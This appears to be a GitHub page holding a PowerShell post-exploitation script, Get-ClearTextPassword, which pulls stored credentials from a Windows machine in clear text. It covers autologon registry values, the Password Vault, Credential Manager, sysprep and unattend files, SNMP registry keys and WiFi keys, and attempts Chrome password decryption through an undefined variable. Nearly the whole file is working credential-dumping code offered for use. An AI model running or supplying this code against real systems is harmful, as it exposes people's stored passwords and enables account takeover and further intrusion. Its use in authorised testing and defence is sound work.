-
Notifications
You must be signed in to change notification settings - Fork 90
/
Get-ClearTextPassword.ps1
182 lines (119 loc) · 6.27 KB
/
Get-ClearTextPassword.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
Function Get-ClearTextPassword {
<#
.SYNOPSIS
This cmdlet is used to obtain clear text passwords from cached locations as well as the from the Windows Registry
.DESCRIPTION
Return cached passwords for the current user, WiFi passwords, SNMP passwords, and web browser passwords
.PARAMETER All
This switch parameter indicates you want to return all stored and saved credentials.
.PARAMETER AutoLogon
This switch parameter indicates you want to retrieve the autologon credentials
.PARAMETER PasswordVault
This switch parameter indicates the you want to retrieve saved passwords from the Windows Credential Vault
.PARAMETER CredentialManager
This switch parameter indicates you want to retrieve cached passwords from credential manager
.PARAMETER SNMP
This switch parameter indicates you want to retriene SNMP passwords from the registry
.PARAMETER Sysprep
This switch parameter indicates you want to search common sysprep files for clear text passwords
.PARAMETER Chrome
This switch parameter indicates you want to retireve saved Chrome passwords
.PARAMETER WiFi
This switch parameter indicates you want to retrieve WiFi passwords
.NOTES
Author: Robert H. Osborne
Alias: tobor
Contact: rosborne@osbornepro.com
.LINK
https://osbornepro.com
https://writeups.osbornepro.com
https://encrypit.osbornepro.com
https://btpssecpack.osbornepro.com
https://github.com/tobor88
https://github.com/OsbornePro
https://gitlab.com/tobor88
https://www.powershellgallery.com/profiles/tobor
https://www.linkedin.com/in/roberthosborne/
https://www.credly.com/users/roberthosborne/badges
https://www.hackthebox.eu/profile/52286
.INPUTS
None
.OUTPUTS
None
#>
[CmdletBinding(DefaultParameterSetName='All')]
param (
[Parameter(
ParameterSetName='All',
Mandatory=$False)] # End Parameter
[Switch][Bool]$All,
[Parameter(
ParameterSetName='Defined',
Mandatory=$False)] # End Parameter
[Switch][Bool]$AutoLogon,
[Parameter(
ParameterSetName='Defined',
Mandatory=$False)] # End Parameter
[Switch][Bool]$PasswordVault,
[Parameter(
ParameterSetName='Defined',
Mandatory=$False)] # End Parameter
[Switch][Bool]$CredentialManager,
[Parameter(
ParameterSetName='Defined',
Mandatory=$False)] # End Parameter
[Switch][Bool]$Sysprep,
[Parameter(
ParameterSetName='Defined',
Mandatory=$False)] # End Parameter
[Switch][Bool]$Chrome,
[Parameter(
ParameterSetName='Defined',
Mandatory=$False)] # End Parameter
[Switch][Bool]$SNMP,
[Parameter(
ParameterSetName='Defined',
Mandatory=$False)] # End Parameter
[Switch][Bool]$WiFi
) # End param
If (($AutoLogon.IsPresent) -or ($PSCmdlet.ParameterSetName -eq 'All')) {
$AutoLoginPassword = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | Select-Object -Property "DefaultUserName","DefaultPassword"
If (($AutoLoginPassword).DefaultPassword) {
Write-Output -InputObject "Auto Login Credentials Found: "
Write-Output -InputObject "$AutoLoginPassword"
} # End If
} # End If
If (($PasswordVault.IsPresent) -or ($PSCmdlet.ParameterSetName -eq 'All')) {
Write-Verbose -Message "Checking for passwords in the Windows Password vault"
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }
} # End If
If (($CredentialManager.IsPresent) -or ($PSCmdlet.ParameterSetName -eq 'All')) {
Write-Verbose "Checking Credential Manager for stored credentials"
Install-Module -Name CredentialManager -Confirm:$True
Import-Module -Name CredentialManager
Get-StoredCredential | ForEach-Object {
$P = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.Password)
Write-Output -InputObject "$($_.Username):$([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($P))"
} # End ForEach-Object
} # End If
If (($Sysprep.IsPresent) -or ($PSCmdlet.ParameterSetName -eq 'All')) {
Write-Verbose -Message "Checking for passwords in common Sysprep file locations"
$PassFiles = "C:\Windows\sysprep\sysprep.xml","C:\Windows\sysprep\sysprep.inf","C:\Windows\sysprep.inf","C:\Windows\Panther\Unattended.xml","C:\Windows\Panther\Unattend.xml","C:\Windows\Panther\Unattend\Unattend.xml","C:\Windows\Panther\Unattend\Unattended.xml","C:\Windows\System32\Sysprep\unattend.xml","C:\Windows\System32\Sysprep\unattended.xml","C:\unattend.txt","C:\unattend.inf"
ForEach ($PassFile in $PassFiles) {
If (Test-Path -Path $PassFile) {
Get-Content -Path $PassFile | Select-String -Pattern "Password"
} # End If
} # End ForEach
} # End If
If (($Chrome.IsPresent) -or ($PSCmdlet.ParameterSetName -eq 'All')) {
Write-Verbose -Message "Dumping passwords from Google Chrome"
[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($DataRow.password_value,$Null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))
} # End If
If (($SNMP.IsPresent) -or ($PSCmdlet.ParameterSetName -eq 'All')) {
Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SNMP" -Recurse
} # End If
If (($WiFi.IsPresent) -or ($PSCmdlet.ParameterSetName -eq 'All')) {
Write-Verbose -Message "Dumping WiFi passwords"
(netsh wlan show profiles) | Select-String -Pattern "\:(.+)$" | ForEach-Object {$Name = $_.Matches.Groups[1].Value.Trim(); $_ } | ForEach-Object {(netsh wlan show profile name="$Name" key=clear)} | Select-String -Pattern "Key Content\W+\:(.+)$" | ForEach-Object {$Pass=$_.Matches.Groups[1].Value.Trim(); $_ } | ForEach-Object {[PSCustomObject]@{ PROFILE_NAME=$Name;PASSWORD=$Pass }} | Format-Table -AutoSize
} # End If
} # End Function Get-ClearTextPassword